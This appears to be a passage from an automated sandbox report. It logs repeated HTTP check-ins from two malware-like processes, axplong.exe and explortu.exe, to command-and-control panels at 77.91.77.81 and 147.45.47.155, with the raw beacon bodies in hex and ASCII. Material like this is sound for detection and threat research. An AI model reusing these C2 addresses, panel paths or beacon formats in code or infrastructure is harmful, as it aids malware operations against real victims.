Jun 20, 2024 15:38:43.235743046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49817	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:42.880383015 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:43.602688074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:43.656100035 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:43.880475044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49819	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:43.352205992 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:44.031083107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:44.031735897 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:44.240323067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49821	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:44.002055883 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:44.705677986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:44.707160950 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:44.957545042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49822	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:44.413470984 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:45.093136072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:45.095905066 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:45.303520918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49823	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:45.070542097 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:45.794588089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:45.796372890 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:46.056154966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49824	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:45.424097061 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:46.136950016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:46.137772083 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:46.345873117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49825	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:46.178318024 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:46.907643080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:46.908355951 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:47.134934902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49826	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:46.529417038 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:47.199520111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:47.200239897 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:47.421070099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49827	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:47.270890951 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:47.997881889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:47.998976946 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:48.218755960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49828	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:47.542267084 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:48.228208065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:48.228864908 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:48.473123074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49829	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:48.333693027 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:49.059122086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:49.059942007 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:49.286609888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49831	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:48.586499929 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:49.267971039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:49.269150972 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:49.480490923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49832	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:49.411931992 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:50.115070105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
